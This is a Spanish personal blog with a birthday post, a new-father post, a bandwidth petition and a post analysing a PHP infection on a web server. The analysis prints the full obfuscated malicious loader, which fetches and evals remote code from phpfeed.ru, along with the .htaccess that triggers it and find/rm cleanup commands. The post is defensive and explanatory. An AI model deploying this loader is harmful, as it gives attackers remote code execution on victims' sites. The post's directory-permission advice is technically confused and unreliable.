nov/090
33
Para todos es un número…
para algunos un departamento…
para unos pocos una virgen…
para la mayoría un grupo de insurgentes orientales…
y para mí… la edad que estreno!!!
Me deseo un muy feliz cumpleaños
Saludos a todos,
Gastón
nov/090
Mi vida ha cambiado…
Hola amigos! Como habrán notado, hace un tiempo que no publico nada nuevo… graciadamente no es por falta de ganas sino que por falta de tiempo!
Hace 1 mes que fui padre
y entre pañales, mimos y siestas, me queda poco resto de vida para dedicar a otra cosa que no sea mi esposa!
Todos estamos muy bien, por demás contentos y aprendiendo este nuevo rol que la vida nos regaló!
Para los que ya son padres, ahora entiendo el amor que sienten por sus hijos… antes no comprendido.
Para los que no tienen hijos… no lo duden, no se van a arrepentir!!!
Un abrazo a todos y espero volver pronto con nuevas cosas para compartir.
Les dejo una foto de mi hija
ago/094
Tu sitio web está seguro?
Hace unos días me consultaron sobre unos archivos extraños que aparecieron en un sitio web. Al investigar la situación, me di cuenta que dicho sitio había sido intervenido por un virus y casi todas las carpetas habían sido afectadas.
Paso a explicar.
Cuando un directorios público queda (mal) configurado con permisos de escritura (rwx 666), es pasible de ser invadido con archivos de cualquier naturaleza, imágenes, videos, en particular scripts PHP. Con scripts Perl (.pl) este problema no ocurre ya que requieren permisos especiales de ejecución, sin embargo con PHP esto es diferente.
Los archivos que se publican tienen extensión PHP y su nombre es un número aleatorio (tal como pueden ver en la imagen).

El contenido de dichos archivos es siempre el mismo y su código es:
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z=”/?”.base64_encode($a).”.”.base64_encode($b).”.”.base64_encode($c).”.”.base64_encode($d).”.”.base64_encode($e).”.”.base64_encode($f).”.”.base64_encode($g).”.”.base64_encode($h).”.e.”.base64_encode($i).”.”.base64_encode($j);$f=base64_decode(“cGhwZmVlZC5ydQ==”);if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])==”bfb4fd4b1e62dd38924d48daba76f31f”) $f=$_REQUEST["id"];if((include(base64_decode(“aHR0cDovL2Fkcy4=”).$f.$z)));else if($c=file_get_contents(base64_decode(“aHR0cDovLzcu”).$f.$z))eval($c);else{$cu=curl_init(base64_decode(“aHR0cDovLzcxLg==”).$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);}; ?>
Parseando, decodificando y analizando éste código, se puede identificar que cuando es ejecutado se invoca a otro sitio web (phpfeed.ru), obtiene un código PHP y lo ejecuta.
Hasta el momento no he podido obtener dicho código, pero si tenemos en cuenta los subdominios que invoca (ads.phpfeed.ru, 71.phpfeed.ru o 7.phpfeed.ru) y el propósito del sitio phpfeed.ru aseguraría que se trata de un servidor de publicidad.

Vale la pena destacar, que junto a cada uno de estos archivos, se encontrará también un “.htaccess”, cuyo contenido es el siguiente:
Options -MultiViews
ErrorDocument 404 //templates/ja_jamba/167953php
Ahora bien, si analizamos el conjunto de archivos, podemos identificar que cada vez que se realiza una petición inválida a cualquiera de los directorios, en lugar de mostrarse la página 404 configurada para el sitio web, se ejecutará el archivo PHP y a continuación se presentará una página con publicidad (esto último es un supuesto).
Cómo resolvemos este problema?
Antes que nada, cambiarle la seguridad a todos los directorios a “644″ lo que significa que todos pueden leer y solo el dueño del sitio puede escribir.
Luego, identificar los directorios que tienen este problema, para lo que les recomiendo publicar el siguiente script en la raiz de su web y ejecutarlo:
<?php print `find . -name “*.php” -size 1469c` ?>
<?php print `find . -name “.htaccess” -size 85c` ?>
Este script listará todos los archivos PHP y .htaccess que cumplan con la condición de tamaño. Cuidado con la .htaccess que podría retornar algún archivo válido. En el otro caso dudo que justo tenga el mismo tamaño.
Por último, eliminar los archivos infectados! Copiar y ejecutar el siguiente código en la raíz del web:
<?php print `find . -name “*.php” -size 1469c -exec rm -f {} \` ?>
<?php print `find . -name “.htaccess” -size 85c -exec rm -f {} \` ?>
Ahh, algo más…
Me llamó la atención la poca información que hay al respecto, y la que hay está en ruso o rumano!
Buscando un poco más, encontré con que se trata de la mutación de un virus. El actual invoca al servidor “phpfeed.ru” mientras que el anterior a “rssnews.ws”.
Acá pueden encontrar algo más de información http://www.google.com/search?q=”rssnews.ws”
ene/090
MasAnchoDeBanda.com
El sitio para firmar es: www.MasAnchoDeBanda.com.
El grupo de Facebook: http://www.facebook.com/group.php?gid=51081906019
Cualquier ayudita a la causa, avisan. Por el momento Sergio está buscando algún voluntario para mejorar la gráfica o hacer banners.
¡UNITE!
Esto lo hacemos por vos y por todos. Por el país. Por el futuro.



